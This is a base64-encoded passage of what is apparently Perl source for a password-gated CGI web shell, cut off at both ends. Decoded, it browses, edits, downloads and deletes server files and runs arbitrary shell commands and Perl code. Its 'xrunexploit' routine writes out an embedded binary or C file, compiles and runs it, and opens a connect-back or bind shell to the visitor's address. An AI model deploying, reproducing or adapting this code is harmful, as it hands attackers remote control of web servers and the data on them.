InxnOw0KCX0NCglyZXR1cm4gJWZvcm1saXN0Ow0KfQ0Kc3ViIGluaXRfY29va2llKCl7DQoJbXkgJWNvb2tpZTsNCglpZihkZWZpbmVkKCRFTlZ7J0hUVFBfQ09PS0lFJ30pKXsNCgkJJHJhd2Nvb2tpZSA9ICRFTlZ7J0hUVFBfQ09PS0lFJ307DQoJCUByYXdjb29raWVzID0gc3BsaXQgLzsvLCAkcmF3Y29va2llOw0KCQlmb3JlYWNoIChAcmF3Y29va2llcyl7DQoJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCSRjb29raWV7JG5hbWV9ID0gJHZhbHVlOw0KCQl9DQoJfQ0KCXJldHVybiAlY29va2llOw0KfQ0Kc3ViIHRyaW0oJCl7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiB4ZmlsZXN1bW1hcnkoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkYnVmZiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJJGJ1ZmYgPSAiRmlsZXNpemUgOiAiLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmaWxlKSkuIiAoICIuJnhmaWxlc2l6ZSgkZmlsZSkuIiApIDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiA6OiA8L3NwYW4+UGVybWlzc2lvbiA6ICIuJnhmaWxlcGVybXMoJGZpbGUpLiIgKCAiLiZ4ZmlsZW93bmVyKCRmaWxlKS4iICk8c3BhbiBjbGFzcz1cImdhdWxcIj4gOjogPC9zcGFuPm1vZGlmaWVkIDogIi4meGZpbGVsYXN0bW9kaWZpZWQoJGZpbGUpOw0KCX0NCglyZXR1cm4gJGJ1ZmY7DQp9DQpzdWIgeHBhcnNlZmlsZXNpemUoJCl7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KSB7DQoJCXJldHVybiAkc2l6ZTsNCgl9DQoJZWxzZXsNCgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSB7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIga2IiOw0KCQl9DQoJCWVsc2Ugew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIG1iIjsNCgkJfQ0KCX0NCn0NCnN1YiB4ZmlsZXNpemUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIHhmaWxlb3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCg0KCW15ICRjb250ZW50ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkY29udGVudCAuPSAkZGF0YTsNCgkJCX0NCgkJCWNsb3NlKEZJTEUpOw0KCQl9DQoJfQ0KCXJldHVybiAkY29udGVudDsNCn0NCnN1YiB4ZmlsZXNhdmUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkY29udGVudCA9IHNoaWZ0Ow0KCWlmKG9wZW4oRklMRSwiPiIuJGZpbGUpKXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICRjb250ZW50Ow0KCQljbG9zZShGSUxFKTsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2UgeyByZXR1cm4gMCB9Ow0KfQ0Kc3ViIHRyaW1zbGFzaGVzKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCglpZigmaXNfd2luKCkpew0KCQkkc3RyID1+IHMvXFwkLy87DQoJfQ0KCWVsc2V7DQoJCSRzdHIgPX4gcy9cLyQvLzsNCgl9DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeGZpbGVvd25lcigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKXsNCgkJaWYoLWQgJGZpbGUpew0KCQkJJGZpbGUgPSB0cmltc2xhc2hlcygkZmlsZSk7DQoJCX0NCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCZpc193aW4oKSl7DQoJCQlyZXR1cm4gIj8/PyI7DQoJCX0NCgkJZWxzZXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiI6Ii4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlbGFzdG1vZGlmaWVkKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtZCAkZmlsZSl7DQoJCQkkZmlsZSA9IHRyaW1zbGFzaGVzKCRmaWxlKTsNCgkJfQ0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy9KYW4gRmViIE1hciBBcHIgTWF5IEp1biBKdWwgQXVnIFNlcCBPY3QgTm92IERlYy87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLSVzLSU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlcGVybXMoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkaXNyZWFkYWJsZSA9ICItIjsNCgkkaXN3cml0ZWFibGUgPSAiLSI7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtciAkZmlsZSl7ICRpc3JlYWRhYmxlID0gInIiOyB9DQoJCWlmKC13ICRmaWxlKXsgJGlzd3JpdGVhYmxlID0gInciOyB9DQoJfQ0KCXJldHVybiAkaXNyZWFkYWJsZSAuICIgLyAiIC4gJGlzd3JpdGVhYmxlOw0KfQ0Kc3ViIHhybWRpcigkKSB7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKXsNCgkJCQlpZigtZCAkZmlsZSl7DQoJCQkJCSZ4cm1kaXIoJGRpci4iXFwiLiRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZXsNCgkJCQkJdW5saW5rKCRkaXIuIlxcIi4kZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCXJtZGlyKCRkaXIpOw0KfQ0Kc3ViIHhjbGVhbnBhdGgoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ1cmxkZWNvZGUoJnRyaW0oJHBhdGgpKTsNCglpZigmaXNfd2luKCkpew0KCQkkcGF0aCA9fiB0ci9cLy9cXC87DQoJfQ0KDQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoNCglpZigtZiAkcGF0aCl7DQoJCSRwYXRoID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgl9DQoJd2hpbGUoc3Vic3RyKCRwYXRoLC0xLDEpIGVxICR4U2xhc2gpew0KCQkkcGF0aCA9IHN1YnN0cigkcGF0aCwwLC0xKTsNCgl9DQoJcmV0dXJuICRwYXRoLiR4U2xhc2g7DQp9DQpzdWIgZGlybmFtZSgkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCSR4U2xhc2ggPSAmRElSRUNUT1JZX1NFUEFSQVRPUigpOw0KCWlmKC1mICRmaWxlKXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzaWYoLWQgJGZpbGUpew0KCQkkZmlsZSA9ICZ4Y2xlYW5wYXRoKCRmaWxlKTsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQp9DQpzdWIgYmFzZW5hbWUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiBzdWJzdHIoJGZpbGUscmluZGV4KCRmaWxlLCR4U2xhc2gpICsgMSk7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkeFNsYXNoOw0KCX0NCn0NCnN1YiBpc193aW4oKXsNCgkkb3MgPSAkeFN5c3RlbTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQpzdWIgRElSRUNUT1JZX1NFUEFSQVRPUigpew0KCWlmKCZpc193aW4oKSl7DQoJCXJldHVybiAiXFwiOw0KCX0NCgllbHNlIHsNCgkJcmV0dXJuICJcLyI7DQoJfQ0KfQ0Kc3ViIHhkcml2ZSgpew0KCSRsZXR0ZXJzID0gIiI7DQoJQHJhbmdlID0gKEEuLlopOw0KCWZvcmVhY2ggJGxldHRlciAoQHJhbmdlKXsNCgkJJGNoZWNrID0gJGxldHRlci4iOlxcIjsNCgkJJGJvb2wgPSAoLWUgJGNoZWNrKTsNCgkJaWYgKCRib29sKSB7DQoJCQkkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kY2hlY2suIlwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiI7DQoJCQkkbGV0dGVycyAuPSAkbGV0dGVyOw0KCQkJJGxldHRlcnMgLj0gIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPC9hPiAiOw0KCQl9DQoJfQ0KCWlmKCRsZXR0ZXJzIG5lICIiKXsNCgkJJGxldHRlcnMgLj0gIjxiciAvPiI7DQoJfQ0KCXJldHVybiAkbGV0dGVyczsNCn0NCnN1YiB1cmxlbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgdXJsZGVjb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvXCUoW0EtRmEtZjAtOV17Mn0pL3BhY2soJ0MnLCBoZXgoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeHBhcnNlZGlyKCQpew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigmaXNfd2luKCkpew0KCQlAZGlycyA9IHNwbGl0IC9cXC8sJGRpcjsNCgl9DQoJZWxzZSB7DQoJCUBkaXJzID0gc3BsaXQgL1wvLywkZGlyOw0KCX0NCgkkYnVmZiA9ICIiOw0KCSRkbGluayA9ICIiOw0KCWlmKCEmaXNfd2luKCkpIHsNCgkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJHhTbGFzaCk7DQoJCSRidWZmIC49ICI8YSBocmVmPVwiP2Rpcj0iLiRkbGluay4iXCI+Ii4keFNsYXNoLiI8L2E+Jm5ic3A7IjsNCgl9DQoJZm9yZWFjaCAkZCAoQGRpcnMpew0KCQkkZCA9ICZ0cmltKCRkKTsNCgkJaWYoJGQgbmUgIiIpew0KCQkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJGQuJHhTbGFzaCk7DQoJCQkkYnVmZiAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kZGxpbmsuIlwiPiIuJGQuIiAiLiR4U2xhc2guIjwvYT4mbmJzcDsiOw0KCQl9DQoJfQ0KCXJldHVybiAiPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kYnVmZi4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+IjsNCn0NCnN1YiB4cGFyZW50Zm9sZGVyKCQpew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoJJHBhdGggPSAmeGNsZWFucGF0aCgkcGF0aCk7DQoJJHBhdGgxID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgkkcGF0aDIgPSBzdWJzdHIoJHBhdGgxLDAscmluZGV4KCRwYXRoMSwkeFNsYXNoKSk7DQoJaWYoKC1kICRwYXRoMikgfHwgKHJpbmRleCgkcGF0aDEsJHhTbGFzaCkgPT0gMCkpew0KCQlyZXR1cm4gJHBhdGgyLiR4U2xhc2g7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkcGF0aDEuJHhTbGFzaDsNCgl9DQp9DQpzdWIgZWtzZSgkKXsNCglteSAkY21kID0gc2hpZnQ7DQoJcmV0dXJuIGAkY21kYDsNCn0NCnN1YiB4ZXZhbCgkKXsNCglteSAkY29kZSA9IHNoaWZ0Ow0KCSRjb2QgPSAkY29kZTsNCgkkY29kZSA9fiBzL1wiL1xcXCIvZzsNCglteSAkd2hpY2hwZXJsID0gJnRyaW0oJmVrc2UoIndoaWNoIHBlcmwiKSk7DQoJaWYoJHdoaWNocGVybCBlcSAiIil7DQoJCSRjb24gPSAmeGZpbGVvcGVuKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9LDEpOw0KCQlpZigkY29uID1+IC9eIyEoLiopLyl7DQoJCQkkd2hpY2hwZXJsID0gJnRyaW0oJDEpOw0KCQl9DQoJfQ0KCSRyZXN1bHQgPSAiIjsNCglpZigkd2hpY2hwZXJsIG5lICIiKXsNCgkJJHJlc3VsdCA9ICZla3NlKCR3aGljaHBlcmwuIiAtZSBcIiIuJGNvZGUuIlwiIik7DQoJfQ0KCWlmKCRyZXN1bHQgbmUgIiIpew0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoJZWxzZXsNCgkJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJCWV2YWwoJGNvZCk7DQoJCWV4aXQoMSk7DQoJfQ0KfQ0Kc3ViIHhkaXIoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ0cmltKCZ4Y2xlYW5wYXRoKCRwYXRoKSk7DQoJaWYoLWQgJHBhdGgpew0KCQlAZm5hbWUgPSAoKTsNCgkJQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSl7DQoJCQkJaWYoLWQgJGZpbGUpew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2V7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkYnVmZiA9ICI8ZGl2IGlkPVwiZXhwbG9yZXJcIj48dGFibGUgY2xhc3M9XCJ0YmxFeHBsb3JlclwiPg0KCQk8dHI+PHRoPkZpbGVuYW1lPC90aD4NCgkJPHRoIHN0eWxlPVwid2lkdGg6ODBweDtcIj5GaWxlc2l6ZTwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjE1MHB4O1wiPkxhc3QgTW9kaWZpZWQ8L3RoPg0KCQk8dGggc3R5bGU9XCJ3aWR0aDoxODBweDtcIj5BY3Rpb248L3RoPjwvdHI+IjsNCgkJZm9yZWFjaCAkZCAoQGRuYW1lKXsNCgkJCW15ICRkID0gJnRyaW0oJGQpOw0KCQkJJHNkID0gJGQ7DQoJCQlpZigkZCBlcSAiLi4iKSB7DQoJCQkJJG5leHRkaXIgPSAmeHBhcmVudGZvbGRlcigmeHBhcmVudGZvbGRlcigkcGF0aCkpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJnhwYXJlbnRmb2xkZXIoJHBhdGgpKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgew0KCQkJCSRuZXh0ZGlyID0gJnhwYXJlbnRmb2xkZXIoJHBhdGgpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJHBhdGgpOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG5leHRkaXIgPSAkcGF0aDsNCgkJCQkkZCA9ICRwYXRoLiRzZDsNCgkJCX0NCgkJCSRkaXIgPSAkZDsNCgkJCSRidWZmIC49ICI8dHIgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiIG9uY2xpY2s9XCJ3aW5kb3cubG9jYXRpb249ICc/ZGlyPSIuJnVybGVuY29kZSgkZCkuIic7XCI+DQoJCQk8dGQ+PHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDpib2xkO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iXCI+Wzwvc3Bhbj4gIi4kc2QuIiA8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OmJvbGQ7XCI+XTwvc3Bhbj48L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVwZXJtcygkc2QpLiI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVsYXN0bW9kaWZpZWQoJHNkKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iJnByb3BlcnRpZXM9Ii4kZC4iXCI+UHJvcGVydGllczwvYT4gfCA8YSBocmVmPVwiP2Rpcj0iLiRuZXh0ZGlyLiImZGVsPSIuJGQuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCWZvcmVhY2ggJGYgKEBmbmFtZSl7DQoJCQkkc2YgPSAkZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJnVybGVuY29kZSgkcGF0aCkuIiZ2aWV3PSIuJnVybGVuY29kZSgkZik7DQoJCQkkYnVmZiAuPSAiPHRyIG9ubW91c2VvdmVyPVwidGhpcy5zdHlsZS5jdXJzb3I9J3BvaW50ZXInO3RoaXMuc3R5bGUuY3Vyc29yPSdoYW5kJztcIiBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiInO1wiPjx0ZD4NCgkJCTxhIGhyZWY9XCI/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiJcIj4NCgkJCSIuJHNmLiI8L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD4iLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRidWZmIC49ICI8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiZ4ZmlsZXBlcm1zKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJnhmaWxlbGFzdG1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCIiLiR2aWV3LiJcIj5FZGl0PC9hPiB8IDxhIGhyZWY9XCI/Z2V0PSIuJGYuIlwiPkRvd25sb2FkPC9hPiB8IDxhIGhyZWY9XCI/ZGlyPSIuJnhjbGVhbnBhdGgoJHBhdGgpLiImZGVsPSIuJGYuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCSRidWZmIC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJCXJldHVybiAkYnVmZjsNCgl9DQp9DQpzdWIgeHJ1bmV4cGxvaXQoJCl7DQoJbXkgJGZwYXRoID0gc2hpZnQ7DQoJbXkgJGJhc2U2NCA9IHNoaWZ0Ow0KCW15ICRwb3J0ID0gc2hpZnQ7DQoJbXkgJHR5cGUgPSBzaGlmdDsNCgkkY29uID0gJmI2NGRlY29kZSgkYmFzZTY0KTsNCgkkZmluYWwgPSAiIjsNCglpZigmaXNfd2luKCkpew0KCQkkZm5hbWUgPSAiYmQuZXhlIjsNCgkJJGlwID0gIiI7DQoJCSRmcGF0aCA9ICRmcGF0aC4kZm5hbWU7DQoJCWlmKC1mICRmcGF0aCl7DQoJCQl1bmxpbmsoJGZwYXRoKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aCwkY29uKSl7DQoJCQkkZnBhdGggPSAmdHJpbSgkZnBhdGgpOw0KCQkJaWYoJHR5cGUgZXEgJ2Nvbm5lY3QnKXsgICRpcCA9ICRFTlZ7J1JFTU9URV9BRERSJ307IH0NCgkJCSRmaW5hbCAuPSAkZnBhdGguIiAiLiRwb3J0LiIgIi4kaXA7DQoJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCXJldHVybiAxOw0KCQl9DQoJfQ0KCWVsc2Ugew0KCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpewkkZm5hbWUgPSAiYmFjayI7IH0NCgkJZWxzZSB7ICRmbmFtZSA9ICJiaW5kIjsgfQ0KCQkkaXAgPSAiIjsNCgkJJGZwYXRoID0gJGZwYXRoLiRmbmFtZTsNCgkJaWYoLWYgJGZwYXRoLiIuYyIpew0KCQkJdW5saW5rKCRmcGF0aC4iLmMiKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aC4iLmMiLCRjb24pKXsNCgkJCSRmcGF0aCA9ICZ0cmltKCRmcGF0aCk7DQoJCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpeyAgJGlwID0gJEVOVnsnUkVNT1RFX0FERFInfTsgfQ0KCQkJJmVrc2UoImdjYyAiLiRmcGF0aC4iLmMgLW8gIi4kZnBhdGgpOw0KCQkJJmVrc2UoImNobW9kICt4ICIuJGZwYXRoKTsNCgkJCWlmKC1lICRmcGF0aCl7DQoJCQkJJGZpbmFsIC49ICRmcGF0aC4iICIuJHBvcnQuIiAiLiRpcDsNCgkJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCQlyZXR1cm4gMTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gMDsNCn0NCnN1YiBodG1sc3BlY2lhbGNoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0Kc3ViIG5sMmJyKCQpIHsNCiAgbXkgJHRleHQgPSBzaGlmdDsNCiAgJHRleHQgPX4gcy8oW1xyXG5dKS88YnIgXC8+JDEvZzsNCiAgcmV0dXJuICR0ZXh0Ow0KfQ0KDQpteSAlX1ZBUiA9ICZpbml0X2NnaTsNCm15ICVfQ09PS0lFID0gJmluaXRfY29va2llKCk7DQpteSAkeEN3ZCA9ICZ4Y2xlYW5wYXRoKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9KTsNCm15ICRhdXRoID0gMDsNCm15ICRjbWRldmFsID0gIiI7DQpjaGRpcigkeEN3ZCk7DQppZihkZWZpbmVkKCRfVkFSeydwYXNzdyd9KSl7DQoJJGNoZWNrID0gJnRyaW0oJF9WQVJ7J3Bhc3N3J30pOw0KCSRmdXRfdGltZT1nbXRpbWUodGltZSgpKzM2MDAqMjQqNykuIiBHTVQiOw0KCSRmdXRfdGltZV89Z210aW1lKHRpbWUoKS0zNjAwKjI0KjcpLiIgR01UIjsNCg0KCWlmKCRjaGVjayBlcSAkc2hlbGxfcGFzc3dvcmQpew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lLiI7IjsNCgkJJG0gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KCQlwcmludCAiU2V0LUNvb2tpZTogIiAuICRjb29raWUgLiAiXG4iOw0KCQkkYXV0aCA9IDE7DQoJfQ0KCWVsc2Ugew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lXy4iOyI7DQoJCXByaW50ICJTZXQtQ29va2llOiAiIC4gJGNvb2tpZSAuICJcbiI7DQoJfQ0KfQ0KJGNoZWNrID0gIiI7DQppZihkZWZpbmVkKCRfQ09PS0lFeydwYXNzJ30pKSB7DQoJJGNoZWNrID0gJnRyaW0oJF9DT09LSUV7J3Bhc3MnfSk7DQp9DQppZigkY2hlY2sgZXEgJHNoZWxsX3Bhc3N3b3JkKXsNCgkkYXV0aCA9IDE7DQogfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnaW1nJ30pKXsNCgkkZmlsZSA9ICZ0cmltKCRfVkFSeydpbWcnfSk7DQoJaWYoLWYgJGZpbGUpew0KCQlwcmludCAiQ29udGVudC10eXBlOiBpbWFnZS9qcGVnXG5cbiI7DQoJCWJpbm1vZGUgU1RET1VUOw0KICAgCSAJcHJpbnQgJnhmaWxlb3BlbigkZmlsZSwxKTsNCgkJZXhpdDsNCgl9DQoJZWxzZXsNCgkJJGltZyA9ICR7IiRmaWxlIn07DQoJCXByaW50ICJDb250ZW50LXR5cGU6IGltYWdlL3BuZ1xuXG4iOw0KCQliaW5tb2RlIFNURE9VVDsNCgkJcHJpbnQgJmI2NGRlY29kZSgkaW1nKTsNCgkJZXhpdDsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydnZXQnfSkgJiYgKCRfVkFSeydnZXQnfSBuZSAiIikpew0KCSRmaWxlID0gJF9WQVJ7J2dldCd9Ow0KCSRmaWxleiA9ICZ4ZmlsZW9wZW4oJGZpbGUsMSk7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtXG4iOw0KCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPVwiIi4mYmFzZW5hbWUoJGZpbGUpLiJcIlxuXG4iOw0KCWJpbm1vZGUgU1RET1VUOw0KCXByaW50ICRmaWxlejsNCglleGl0Ow0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnYnRuQ29ubmVjdCd9KSl7DQoJJHBvcnQgPSAkX1ZBUnsnYnBvcnRDJ307DQoJJGRpciA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydkaXInfSk7DQoJaWYoJmlzX3dpbigpKSB7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2Ugew0KCQkkYmFzZTY0ID0gJHhCYWNrOw0KCX0NCg0KCWlmKCZ4cnVuZXhwbG9pdCgkZGlyLCRiYXNlNjQsJHBvcnQsImNvbm5lY3QiKSl7DQoNCgl9DQp9DQplbHNpZihkZWZpbmVk